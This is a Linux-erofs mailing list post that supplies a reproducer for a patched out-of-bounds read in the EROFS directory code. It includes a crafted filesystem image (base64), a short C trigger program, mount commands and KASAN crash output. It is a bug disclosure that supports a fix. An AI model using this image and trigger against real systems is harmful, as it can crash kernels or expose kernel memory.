[PATCH] erofs: validate nameoff for all dirents in erofs_fill_dentries()

Junrui Luo moonafterrain at outlook.com
Wed Apr 15 01:26:04 AEST 2026


Here is a reproducer for the issue fixed by this patch.

Creates a 3-block (12KB) minimal EROFS image:
- Block 0: superblock
- Block 1: two compact inodes (root dir + dummy file)
- Block 2: directory data with 4 dirents

  de[0]: nameoff=48  FT_DIR "."
  de[1]: nameoff=49  FT_DIR ".."
  de[2]: nameoff=51  FT_REG "f1"
  de[3]: nameoff=0xFFFF FT_REG

Reproducible image (base64-encoded gzipped blob):

H4sIALRA3mkCA+3XwQmDQBAF0HW95mAlSyQVpJn0YS8Wpt5z9GwGwkICNqC+BwOfZU//NJMScFXL
vE4132Lyzp82plEVAACcwvsZW3/3zXln1x+H/5esMgAAADik+89V30euF/8jUs3b1qRSyqtXFwAA
ABzKB5GqxlwAMAAA

Trigger

```
  #define _GNU_SOURCE
  #include <fcntl.h>
  #include <stdio.h>
  #include <unistd.h>
  #include <errno.h>
  #include <sys/syscall.h>

  int main(int argc, char *argv[]) {
      const char *p = argc > 1 ? argv[1] : "/mnt";
      char buf[4096];
      int fd = open(p, O_RDONLY | O_DIRECTORY);
      if (fd < 0) { perror("open"); return 1; }

      /* skip to de[3] at byte 36 */
      lseek(fd, 36, SEEK_SET);
      int n = syscall(SYS_getdents64, fd, buf, sizeof(buf));
      printf("getdents64=%d errno=%d\n", n, errno);
      close(fd);
  }
```
	
$ gcc -static -o trigger trigger.c
$ mount -t erofs -o loop image.erofs /mnt
$ ./trigger /mnt

output (kernel 7.0-rc6, CONFIG_KASAN=y):

  BUG: KASAN: slab-out-of-bounds in strnlen+0x74/0x80
  Read of size 1 at addr ffff888008828fff by task trigger/76



More information about the Linux-erofs mailing list